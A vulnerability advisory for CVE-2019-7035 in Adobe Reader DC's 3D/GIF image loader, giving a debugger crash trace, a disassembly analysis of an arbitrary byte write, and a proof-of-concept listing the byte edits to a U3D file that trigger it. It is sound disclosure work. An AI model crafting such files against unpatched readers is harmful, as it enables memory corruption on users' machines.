CVE: CVE-2019-7035

Tested Versions:

  • Adobe Reader DC 2019.010.20064

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An arbitrary write can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20064.
# The stack trace at crash site:

(d94.db0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000007 edx=d0d0d0d0 esi=00000000 edi=00126e8c
eip=6780378a esp=00125e30 ebp=00125e40 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

2d!png_set_filter_heuristics+0x32c:
6780378a 300432          xor     byte ptr [edx+esi],al      ds:0023:d0d0d0d0=??

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00125e40 678036a8 00000000 00000010 00126e8c 2d!png_set_filter_heuristics+0x32c
00126e5c 67803f1e 00000000 00000000 00000000 2d!png_set_filter_heuristics+0x24a
0012b050 678028b2 3a5e6fa8 38ee2e68 38436fb0 2d!png_set_filter_heuristics+0xac0
0012b064 6713779f 00000006 3a5e6fa8 38ee2e68 2d!E3DLLFunc+0x9f4
0012b084 670fae03 35db0f90 00000006 3a5e6fa8 rt3d!FILETYPE::Func2d+0x5e
0012b50c 670f9399 3a40b5a8 0012b9c4 00000000 rt3d!PrepareRescale+0xac8
0012b544 6712c7fd 3a40b5a8 0012b9c4 00000000 rt3d!GetPicture+0x2e
0012b780 6712d50a 3a40b5a8 0012b9c4 00000000 rt3d!EndPicturesCache+0x5352
0012bbf0 6712ca3f 3a40b4e8 3a40b5a8 0012c238 rt3d!EndPicturesCache+0x605f
0012c444 6712ccfa 3a40b4e8 00000000 38436fb0 rt3d!EndPicturesCache+0x5594
0012c6a4 670dfda1 3412ccb0 38436fb0 00000000 rt3d!EndPicturesCache+0x584f
0012c6c4 670677ea 00000002 38436fb0 db033c8e rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0012cb44 67033ebd 00000000 38d5efc8 00000000 rt3d!V4CUnloadRT+0x30b97
0012cb5c 68a8c267 38d5efc8 00000000 0012cbb0 rt3d+0x3ebd

Brief analysis:

0:000> ub eip
2d!png_set_filter_heuristics+0x30d:
6780376b 0fb7b7a2410000  movzx   esi,word ptr [edi+41A2h]
67803772 8bc8            mov     ecx,eax
67803774 8b8788000000    mov     eax,dword ptr [edi+88h]

// 0:000> dd poi(edi+88)
// 3a5a9ff0  3a59fff8 3a61eff8 3a1ceff8 d0d0d0d0

6780377a 6a08            push    8
6780377c 8b1488          mov     edx,dword ptr [eax+ecx*4]	// uninitialized read
6780377f 8a8f93000000    mov     cl,byte ptr [edi+93h]
67803785 8b4508          mov     eax,dword ptr [ebp+8]
67803788 d2e0            shl     al,cl

0:000> u
2d!png_set_filter_heuristics+0x32c:
6780378a 300432          xor     byte ptr [edx+esi],al	// arbitrary 1 byte write
6780378d 5e              pop     esi
6780378e 80bf9300000000  cmp     byte ptr [edi+93h],0
67803795 7507            jne     2d!png_set_filter_heuristics+0x340 (6780379e)
67803797 66ff87a2410000  inc     word ptr [edi+41A2h]
6780379e 668b0df8368967  mov     cx,word ptr [2d!zlibVersion+0x32818 (678936f8)]
678037a5 0fb7c1          movzx   eax,cx
678037a8 3b4750          cmp     eax,dword ptr [edi+50h]

The call stack near crash site is resolved as:

#0 TGIF::PutPixel(unsigned short)
#1 TGIF::PutNewOldCodeTable(unsigned short, char)
#2 TGIF::ReadDescriptionImage(void)
#3 _LoadGif(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#4 GIFImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)

From a brief analysis, attacker must manipulate to have AL non-zero to achieve the byte XOR-write to arbitrary (controllable) address. Adobe has patched this issue as an out-of-bounds read, sharing the root cause to a different trigger submission.

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications are made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.gif"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 67 69 63

Timeline:

  • 2019-01-25 Vendor disclosure
  • 2019-02-12 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-07.